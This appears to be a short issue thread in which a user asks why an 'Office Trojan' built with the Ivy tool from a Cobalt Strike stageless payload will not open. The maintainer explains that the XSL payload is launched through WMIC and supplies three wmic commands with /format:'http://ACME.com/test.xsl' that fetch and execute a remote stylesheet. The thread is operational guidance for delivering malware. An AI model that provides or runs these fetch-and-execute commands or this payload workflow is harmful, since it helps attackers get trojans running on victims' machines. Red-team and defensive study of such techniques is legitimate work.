Error generating Office Trojan

[adminfanf]

I am sorry that I cannot open the xxx. XLS file because there is something wrong with the content. What should I do

[Tylous]

Could show/tell me how you are executing it. The more details you provide me the easier it is for me to identify the issue.

[adminfanf]

I used Cobalt Strike to generate the C language payload and then used Ivy. exe-ix64 stageless64.bin -ix86 stageless32.bin -p Local -o test. XSL -delivery XSL -stageless is generated, but I don't know if the -URL parameter is required

[Tylous]

How are you trying to execute the file?

[adminfanf]

Runs as an administrator on Windows

[Tylous]

That's the problem you cant just write click it. XSL files like that need to be executed with a WMIC command that allows for a format command argument. When you compiled it, It should of listed something like this:

wmic computersystem list full /format:"http://ACME.com/test.xsl"
wmic computersystem list brief /format:"http://ACME.com/test.xsl"
wmic process list brief /format:"http://ACME.com/test.xsl"

Those are how you can execute the file.

[adminfanf]

Okay, I'll try it. Thank you very much